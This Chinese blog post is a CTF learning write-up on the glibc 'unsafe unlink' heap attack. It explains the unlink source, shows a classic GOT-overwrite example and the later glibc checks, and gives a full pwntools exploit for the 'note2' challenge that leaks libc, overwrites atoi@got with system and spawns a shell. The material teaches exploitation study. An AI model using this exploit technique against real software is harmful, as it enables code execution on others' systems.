unsafe unlink

unsafe unlink

0x00 unlink介绍

​ unlink就是一个“glibc malloc”的内存回收机制,顾名思义,把一个free的chunk从链表中拆取出来。显然,这种利用Unlink的手段针对的是除fastbin以外的其他几个bin链,因为fastbin是个单链表。

​ 什么场合会用到unlink?当需要合并双向链表中相邻的两个free chunk的时候就要用到unlink。这里的合并又分向后合并、向前合并两种情况。

​ unlink攻击技术就是利用unlink过程把free函数的got表项覆盖成为shellcode地址。在后续调用free的时候就可以执行shellcode代码。

0x01 unlink过程源码介绍

一旦涉及到free内存,那么就意味着有新的chunk由allocated状态变成了free状态,此时glibc malloc就需要进行合并操作,就是包括前面所说的两种合并情况。

在这里通过libc源码得到更好的理解,注意以下合并源码操作的chunk都是非 mmaped 块

向前合并

#!c /*malloc.c int_free函数中*/ /*这里p指向当前malloc_chunk结构体,bck和fwd分别为当前chunk的后一个和前一个free chunk*/ static void _int_free (mstate av, mchunkptr p, int have_lock) { ... //判断是否为mmap分配的chunk else if (!chunk_is_mmapped(p)) { ... nextchunk = chunk_at_offset(p, size); ... nextsize = chunksize(nextchunk); /* consolidate backward */ if (!prev_inuse(p)) { prevsize = p->prev_size; size += prevsize; //修改指向当前chunk的指针,指向前一个chunk。 p = chunk_at_offset(p, -((long) prevsize)); unlink(p, bck, fwd); } //相关函数说明: /* Treat space at ptr + offset as a chunk */ #define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s))) /*unlink操作的实质就是:将P所指向的chunk从双向链表中移除,这里BK与FD用作临时变量*/ #define unlink(P, BK, FD) { FD = P->fd; BK = P->bk; FD->bk = BK; BK->fd = FD; ... }

程序的大概逻辑就是先检测free chunk 的上一个chunk是否为mmaped chunk,通过chunk_is_mmapped(p)判断。再者检测前一个chunk是否为free状态,通过prev_inuse(p)来知晓。

注意在默认情况下,堆内存的第一个chunk的prev_inuse位永远是1,表示被分配的状态。第一个的前一个chunk是不存在的,但这不影响prev_inuse位想表示出的状态。

  • 当前一个chunk是allocated状态,显然就不合条件跳过if

  • 当前一个chunk是free状态,就开始向前合并:

    • 把size扩大为size+prev_size
    • 修改指向当前chunk的指针p,让其指向前一个chunk
    • 使用unlink宏,将p所指向的合并后的freechunk从双向列表中移除

    image-20211217150731104

向后合并

#!c …… /*这里p指向当前chunk*/ nextchunk = chunk_at_offset(p, size); …… nextsize = chunksize(nextchunk); …… if (nextchunk != av->top) { /* get and clear inuse bit */ nextinuse = inuse_bit_at_offset(nextchunk, nextsize);//判断nextchunk是否为free chunk /* consolidate forward */ if (!nextinuse) { //next chunk为free chunk unlink(nextchunk, bck, fwd); //将nextchunk从链表中移除 size += nextsize; // p还是指向当前chunk只是当前chunk的size扩大了,这就是向后合并! } else clear_inuse_bit_at_offset(nextchunk, 0); …… } /*unlink操作的实质就是:将P所指向的chunk从双向链表中移除,这里BK与FD用作临时变量*/ #define unlink(P, BK, FD) { FD = P->fd; BK = P->bk; FD->bk = BK; BK->fd = FD; ... }

与向前合并不一样的就是对指针的操作,这里用的是nextchunk而不再是p指针,p还是指向当前freechunk,操作的nextchunk指向p指向的下一个freechunk,总体操作上与向前合并大致一致。

  • 当next chunk是free状态,开始向后合并
    • 将nextchunk从链表中移除
    • 把szie扩大为size+nextsize
image-20211217154344286

以上就是两种合并的具体介绍

接下来就要了解合并后(或者因不满足条件没合并)的chunk是如何进一步处理?

当然这对攻击来说并没有多大关系,但这里扩展了解一下:

#!c /* Place the chunk in unsorted chunk list. Chunks are not placed into regular bins until after they have been given one chance to be used in malloc. */ bck = unsorted_chunks(av); //获取unsorted bin的第一个chunk /* /* The otherwise unindexable 1-bin is used to hold unsorted chunks. */ #define unsorted_chunks(M) (bin_at (M, 1)) */ //把p插在头节点与第一个chunk之间 fwd = bck->fd; …… p->fd = fwd; p->bk = bck; if (!in_smallbin_range(size)) { p->fd_nextsize = NULL; p->bk_nextsize = NULL; } bck->fd = p; fwd->bk = p; set_head(p, size | PREV_INUSE);//设置当前chunk的size,并将前一个chunk标记为已使用 set_foot(p, size);//将后一个chunk的prev_size设置为当前chunk的size /* /* Set size/use field */ #define set_head(p, s) ((p)->size = (s)) /* Set size at footer (only when chunk is not in use) */ #define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->prev_size = (s)) */

上述代码的逻辑大概就是:把当前chunk插入到unsorted bin的第头节点与第1个节点之间。分别更改头节点的bk与第一个节点(现在第2节点)的fd,都改成p,设置当前chunk的size,并将前一个chunk标记为已使用,再将后一个chunk的prev_size设置为当前chunk的size。这样就完善成一个新的unsorted链表。

注意:上一段中描述的”前一个“与”后一个“chunk,是指的由chunk的prev_size与size字段隐式连接的chunk,即它们在内存中是连续、相邻的!而不是通过chunk中的fd与bk字段组成的bin(双向链表)中的前一个与后一个chunk,切记!

0x02 实验1

前面已经很详细的讲解了实现unlink以及其上下文的过程。

看一下下面这道题:

程序源代码:

#!c /* Heap overflow vulnerable program. */ #include <stdlib.h> #include <string.h> int main( int argc, char * argv[] ) { char * first, * second; /*[1]*/ first = malloc( 666 ); /*[2]*/ second = malloc( 12 ); if(argc!=1) /*[3]*/ strcpy( first, argv[1] ); /*[4]*/ free( first ); /*[5]*/ free( second ); /*[6]*/ return( 0 ); }

很明显存在一个堆溢出的漏洞,当输入的argv[1]的大小比first所申请到的666字节还要大的时候,就可以把接下去的内容进行覆盖。而实现攻击操作的核心就在于unlink攻击。

假设要覆盖的second chunk header的数据如下(这里告知一下是在32位系统):

1)prev_size =一个偶数,这样就使得p位是0表示first chunk处于free状态。

2)nextszie =-4

3)fd = free@got的地址 - 12,

4)bk = shellcode地址

所以当程序在第4步,调用free(first)后发生什么?向后or向后合并?

frist是处于链表的第一个chunk,前面头节点永远是allocated状态。不会发生向前合并。

那向后合并呢?结合前面的源码,nextchunk就是second chunk。在检测nextchunk是否是free状态的代码如下

#!c nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
这里inuse_bit_at_offset宏定义如下: /* check/set/clear inuse bits in known places */ #define inuse_bit_at_offset(p, s) \ (((mchunkptr) (((char *) (p)) + (s)))->size & PREV_INUSE)

从上面的代码可以知道,它把nextchunk指针加了一个nextsize,指向了nextchunk的下一个chunk,就是second chunk的下个chunk,按照正常来说就是top块。但我们把nextsize设置成-4,这样在检测的时候,gllibc malloc 就会把second chunk的prev_size字段看成second chunk的next chunk的size字段。而我们已经将second chunk的prev_size字段设置为一个偶数,这样一来inuse_bit_at_offset(nextchunk, nextsize)获得的nextchunk的prev_insue位是0,即nextchunk为free状态,就是second chunk是free状态。

这样就符合向后合并的要求,就要调用unlink函数——unlink(secondchunk, bck, fwd)。

还记得之前的unlink的源代码吗,我把他们原意加以注释

#define unlink(P, BK, FD) { FD = P->fd; // 取前一个chunk BK = P->bk; //取后一个chunk FD->bk = BK; //前一个chunk的bk指向后一个chunk BK->fd = FD; //后一个chunk的fd指向前一个chunk //这样就把链表重新接上,取出unlinked节点 ... }

操作开始了,构造的数据要发挥巨大作用了,盯紧这三个参数

P=secondchunk, BK=bck, FD=fwd

  1. FD = P->fd = free@got - 12
  2. BK = P->bk = shellcode地址
  3. FD->bk = (free@got - 12)->bk = free@got = BK = shellcode地址
  4. BK->fd = shellcode地址->fd = FD=free@got - 12

画个图

image-20211218205838442

图一画一些关键的就一目了然了。free@got-12就是把这一段空间当作chunk赋予的首地址指针。这个“chunk”的bk自然就是free的地址。所以free的地址在执行完unlink之后就会被赋值为shellcode的地址。所以在之后执行第5步free(second)就是在调用sellcode。

0x03 unlink攻击对抗

glibc malloc在不断更新,添加了如下的检查机制来防止unlink攻击技巧。

  • 不允许double free:对一个已经free的chunk进行再次的free是不允许的。通过检查prev_inuse来实现。

    所以对于这道题攻击者将size设置成为-4时,就意味着size的prev_inuse位是0,那么在free(first)的时候检查second的size域,发现处于free状态,立马报错。

if (__glibc_unlikely (!prev_inuse(nextchunk))) { errstr = "double free or corruption (!prev)"; goto errout;
  • invalid nextchunk size :nextchunk的大小应该在8(16)字节到arena的全部系统内存之间。

    所以在设置second的size为-4的时候就绕不过nextchunk的size检查,报错

if (__builtin_expect (nextchunk->size <= 2 * SIZE_SZ, 0) || __builtin_expect (nextsize >= av->system_mem, 0)) { errstr = "free(): invalid next size (normal)"; goto errout; }
  • 双向列表指针被破坏:在执行unlink操作的时候,链表中的前一个chunk的fd和下一个chunk的bk应该指向当前即将unlink的chunk

    很显然,替换second的fd和bk内容会立马影响,报错

if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) malloc_printerr (check_action, "corrupted double-linked list", P);

在有上述unlink防御的操作之下,攻击者还是能找到漏洞,攻击者的脑洞永远比天大。看一下下面这道题。

0x04 实验2--note2

image-20211219204209525

0x000 试玩

root@ubuntu20:~/ln2# ./note2 Input your name: aa Input your address: aa 1.New note 2.Show note 3.Edit note 4.Delete note 5.Quit option--->> 1 Input the length of the note content:(less than 128) 16 Input the note content: dfnasdlkfna note add success, the id is 0 1.New note 2.Show note 3.Edit note 4.Delete note 5.Quit option--->> 2 Input the id of the note: 0 Content is dfnasdlkfna 1.New note 2.Show note 3.Edit note 4.Delete note 5.Quit option--->> 3 Input the id of the note: 0 do you want to overwrite or append?[1.overwrite/2.append]

可以看到是很经典的菜单,是一道经典的堆题。

先ida反编译

1.main函数:

void __fastcall main(__int64 a1, char **a2, char **a3) { setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); alarm(0x3Cu); puts("Input your name:"); getStr(name, 64LL, 10);//getStr是个自定义函数 puts("Input your address:"); getStr(addr, 96LL, 10); while ( 1 ) { switch ( menu() ) { case 1: new(); break; case 2: show(); break; case 3: edit(); break; case 4: del(); break; case 5: puts("Bye~"); exit(0); case 6: exit(0); default: continue; } } }

getstr自定义,点击打开。

unsigned __int64 __fastcall getStr(char *a1, __int64 a2, char a3) { char buf; // [rsp+2Fh] [rbp-11h] BYREF unsigned __int64 i; // [rsp+30h] [rbp-10h] ssize_t v7; // [rsp+38h] [rbp-8h] for ( i = 0LL; a2 - 1 > i; ++i ) { v7 = read(0, &buf, 1uLL); if ( v7 <= 0 ) exit(-1); if ( buf == a3 )//buf不给读入a3内容 break; a1[i] = buf; } a1[i] = 0; return i; }

可以看到这里定义的i是unsigned __int64无符号整型变量,而a2是__int64是有符号整型变量

当 a2 - 1 > i,他们进行比较的时候,C语言会把有符号的整型变量转变为无符号的变量进而进行比较。所以当a2可控,让a2=0时;a2-1将时负数,在转化为无符号的整型变量时将会变得很大,足以使得for的该条件永远成立。这就是整数溢出漏洞。

2.new函数的代码

void new() { unsigned int id; // eax unsigned int size; // [rsp+4h] [rbp-Ch] char *p; // [rsp+8h] [rbp-8h] if ( (unsigned int)cnt <= 3 )//申请不超过4个chunk { puts("Input the length of the note content:(less than 128)"); size = getInt(); if ( size <= 0x80 )//申请的chunk大小不超过128 { p = (char *)malloc(size); puts("Input the note content:"); getStr(p, size, 10); filter(p);//点开发现其功能是把%过滤 ptr[cnt] = p;//ptr[]数组里面存放chunk的返回指针 length[cnt] = size;//length[]数组存放chunk的size id = cnt++;//会等于id = cnt;cnt++; printf("note add success, the id is %d\n", id); } else { puts("Too long"); } } else { puts("note lists are full"); } }

这里得getstr的size可控。那么当我们输入 size 为 0 时,glibc 根据其规定,会分配 0x20 个字节,但是程序读取的内容却并不受到限制,故而会产生堆溢出。

明确一点像出现得ptr、length、cnt等都是全局变量,他们的地址可以在bss看到

image-20211220102619020

3.show函数代码

void show() { int idx; // [rsp+Ch] [rbp-4h] puts("Input the id of the note:"); idx = getInt(); if ( idx >= 0 && idx <= 3 )//0-3 { if ( ptr[idx] ) printf("Content is %s\n", ptr[idx]);//把指针也就是chunk的内容输出 } }

4.edit函数代码

void edit() { char *v0; // rbx int idx; // [rsp+8h] [rbp-E8h] int choice; // [rsp+Ch] [rbp-E4h] char *src; // [rsp+10h] [rbp-E0h] __int64 size; // [rsp+18h] [rbp-D8h] char dest[128]; // [rsp+20h] [rbp-D0h] BYREF char *v6; // [rsp+A0h] [rbp-50h] unsigned __int64 v7; // [rsp+D8h] [rbp-18h] v7 = __readfsqword(0x28u); if ( cnt ) { puts("Input the id of the note:"); idx = getInt(); if ( idx >= 0 && idx <= 3 ) { src = ptr[idx];//把chunk指针取出 size = length[idx];//对应size取出 if ( src )//判空 { puts("do you want to overwrite or append?[1.overwrite/2.append]"); choice = getInt(); if ( choice == 1 || choice == 2 ) { if ( choice == 1 ) dest[0] = 0; else strcpy(dest, src);//拷贝chunk中的数据 v6 = (char *)malloc(0xA0uLL);//临时申请一个大小为160字节的chunk strcpy(v6, "TheNewContents:"); printf(v6); getStr(v6 + 15, 144LL, 10);//从申请的chunk数据部分第15个字节以后,读入144个字节 filter(v6 + 15); v0 = v6;//移交控制权 v0[size - strlen(dest) + 14] = 0; //C 库函数 char *strncat(char *dest, const char *src, size_t n) 把src 所指向的字符串追加到 dest 所指向的字符串的结尾,直到 n 字符长度为止。 strncat(dest, v6 + 15, 0xFFFFFFFFFFFFFFFFLL);//将输入字符串追加到dest中数据后面 strcpy(src, dest);//再把完整的数据拷贝回chunk中 free(v6);//对临时chunk进行释放 puts("Edit note success!"); } else { puts("Error choice!"); } } else { puts("note has been deleted"); } } } else { puts("Please add a note!"); } }

注意这里申请的临时chunk是0xa0固定大小。

在free之后并没有把指针清零,出现uaf漏洞。

5.del函数代码

void del() { int idx; // [rsp+Ch] [rbp-4h] puts("Input the id of the note:"); idx = getInt(); if ( idx >= 0 && idx <= 3 ) { if ( ptr[idx] ) { free(ptr[idx]);//对chunk进行free ptr[idx] = 0LL;//返回指针清零 length[idx] = 0LL;//长度清零 puts("delete note success!"); } } }

0x001 漏洞利用

思路如下:

  • 绕过三个检查机制

  • 创建3个chunk分别是chunk0、chunk1、chunk2。其中chunk0读入的是构造伪造的fake chunk的数据(包括chunk头和fd、bk域)。

  • 为了堆溢出,输入chunk1的size是0,size虽是0但实际上在glibc malloc默认分配0x20大小的空间。申请完三个chunk后,对chunk1直接free,就会回收到fastbin链中去,再通过重新new,获得该空间的控制,就可以利用整数溢出,输入大于0x20字节的数据实现对chunk2头部的覆盖

  • 最后free(chunk2),这样就会有unlink过程,在检查上一个chunk,即fake chunk的时候发现其满足条件,此时就会向前合并。

  • unlink为的不是要合并的结果;要的是中间巧妙的四句

    FD = P->fd; BK = P->bk; FD->bk = BK; BK->fd = FD;

    严格来讲是前三句,简化就是P->fd->bk=P->bk,最后成功把指针指向修改

具体内存情况如下

申请的三个chunk:

image-20211220210926147

伪造后的chunk:

image-20211221101046869

unlink后:

image-20211221090739575
  • unlink后实现对ptr指针的控制,使得ptr[0]=&ptr[0]-0x18,然后修改ptr[0][3]为atoi@got,让ptr[0]指向atoi@got,通过show函数就可以让atoi的真实地址输出,再结合偏移,就可以拿到libc的基地址,进而拿到system函数的基地址。

这里有个地方注意:

为什么chunk1不能第一遍new的时候,直接在输入内容覆盖,要放到fastbin里new回来再覆盖?

因为第一遍的时候chunk2还未申请,若直接覆盖,将会是改变top chunk的chunk头。而top_chunk的size也不是随意更改的,因为在sysmalloc中对这个值还要做校验

assert ((old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)); /* Precondition: not enough current space to satisfy nb request */ assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
  • 接下来就是通过修改ptr[0],就是atoi@got为system函数的地址,这样调用atoi的时候就是调用system。
  • menu函数里面getint函数就有atoi调用,那么在要用户输入菜单选项的时候,直接输入"/bin/sh\0x00"将会执行system含函数并返回shell

完整脚本

from pwn import * p = process("./note2") elf = ELF("./note2") libc = ELF("./libc-2.24.so") # context.log_level = "debug" context.terminal = ['tmux', 'splitw', '-v'] rv = p.recv ru = p.recvuntil sl = p.sendline sla = p.sendlineafter sd = p.send sda = p.sendafter def dbg(break_point): gdb.attach(p, "b " + break_point) def new_note(size, content): sla("option--->>", "1") sla("Input the length of the note content:(less than 128)", str(size)) sla("Input the note content:", content) def delete_note(id): sla("option--->", "4") sla("Input the id of the note:", str(id)) def show_note(id): sla("option--->", "2") sla("Input the id of the note:", str(id)) def edit_note(id, option, content): sla("option--->", "3") sla("Input the id of the note:", str(id)) sla("[1.overwrite/2.append]", str(option)) sla("TheNewContents:", content) sla("Input your name:", "Lantern") sla("Input your address:", "Lantern") # dbg("*0x000000000400B0F") ptr = 0x602120 payload = b"a" * 8 + p64(0x61) + p64(ptr - 0x18) + p64(ptr - 0x10) payload = payload.ljust(0x60, b'b') new_note(0x80, payload) # 0 new_note(0, 'b') # 1 new_note(0x80, 'a') # 2 delete_note(1) payload = b"b" * 16 + p64(0x80 + 0x20) + p64(0x90) new_note(0, payload) delete_note(2) payload = b"a" * 0x18 + p64(elf.got['atoi']) edit_note(0, 1 , payload) show_note(0) ru("Content is ") atoi_address = u64(ru("\n", drop = True).ljust(8, b'\x00')) log.success("atoi_address: " + hex(atoi_address)) libc.address = atoi_address - libc.symbols['atoi'] system_address = libc.symbols['system'] log.success("system_address: " + hex(system_address)) log.success("libc.address: " + hex(libc.address)) payload = p64(system_address) edit_note(0, 1, payload) sla("option--->>", "/bin/sh") p.interactive()

image-20211221110304164


__EOF__

本文作者DAMOXILAI
本文链接https://www.cnblogs.com/damoxilai/p/15706064.html
关于博主:网安小萌新一名,希望从今天开始慢慢提高,一步步走向技术的高峰!
版权声明:达摩西来
声援博主:达摩西来
posted @   DAMOXILAI  阅读(165)  评论(0编辑  收藏  举报
编辑推荐:
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
点击右上角即可分享
微信分享提示